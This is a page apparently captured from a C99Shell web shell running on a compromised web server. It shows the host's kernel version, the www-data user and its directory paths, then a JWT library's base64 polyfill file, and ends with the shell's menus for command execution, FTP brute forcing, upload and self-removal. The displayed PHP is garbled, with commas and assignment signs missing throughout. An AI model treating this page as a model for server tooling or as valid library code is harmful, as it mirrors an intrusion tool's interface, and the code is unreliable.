!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/vendor/lcobucci/jwt/src/   drwxr-xr-x
Free 13.14 GB of 57.97 GB (22.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SodiumBase64Polyfill.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types=1);

namespace 
Lcobucci\JWT;

use 
Lcobucci\JWT\Encoding\CannotDecodeContent;
use 
SodiumException;

use function 
base64_decode;
use function 
base64_encode;
use function 
function_exists;
use function 
is_string;
use function 
rtrim;
use function 
sodium_base642bin;
use function 
sodium_bin2base64;
use function 
strtr;

/** @internal */
final class SodiumBase64Polyfill
{
    public const 
SODIUM_BASE64_VARIANT_ORIGINAL            1;
    public const 
SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING 3;
    public const 
SODIUM_BASE64_VARIANT_URLSAFE             5;
    public const 
SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING  7;

    public static function 
bin2base64(string $decodedint $variant): string
    
{
        if (! 
function_exists('sodium_bin2base64')) {
            return 
self::bin2base64Fallback($decoded$variant); // @codeCoverageIgnore
        
}

        return 
sodium_bin2base64($decoded$variant);
    }

    public static function 
bin2base64Fallback(string $decodedint $variant): string
    
{
        
$encoded base64_encode($decoded);

        if (
            
$variant === self::SODIUM_BASE64_VARIANT_URLSAFE
            
|| $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING
        
) {
            
$encoded strtr($encoded'+/''-_');
        }

        if (
            
$variant === self::SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING
            
|| $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING
        
) {
            
$encoded rtrim($encoded'=');
        }

        return 
$encoded;
    }

    
/** @throws CannotDecodeContent */
    
public static function base642bin(string $encodedint $variant): string
    
{
        if (! 
function_exists('sodium_base642bin')) {
            return 
self::base642binFallback($encoded$variant); // @codeCoverageIgnore
        
}

        try {
            return 
sodium_base642bin($encoded$variant'');
        } catch (
SodiumException $sodiumException) {
            throw 
CannotDecodeContent::invalidBase64String();
        }
    }

    
/** @throws CannotDecodeContent */
    
public static function base642binFallback(string $encodedint $variant): string
    
{
        if (
            
$variant === self::SODIUM_BASE64_VARIANT_URLSAFE
            
|| $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING
        
) {
            
$encoded strtr($encoded'-_''+/');
        }

        
$decoded base64_decode($encodedtrue);

        if (! 
is_string($decoded)) {
            throw 
CannotDecodeContent::invalidBase64String();
        }

        return 
$decoded;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--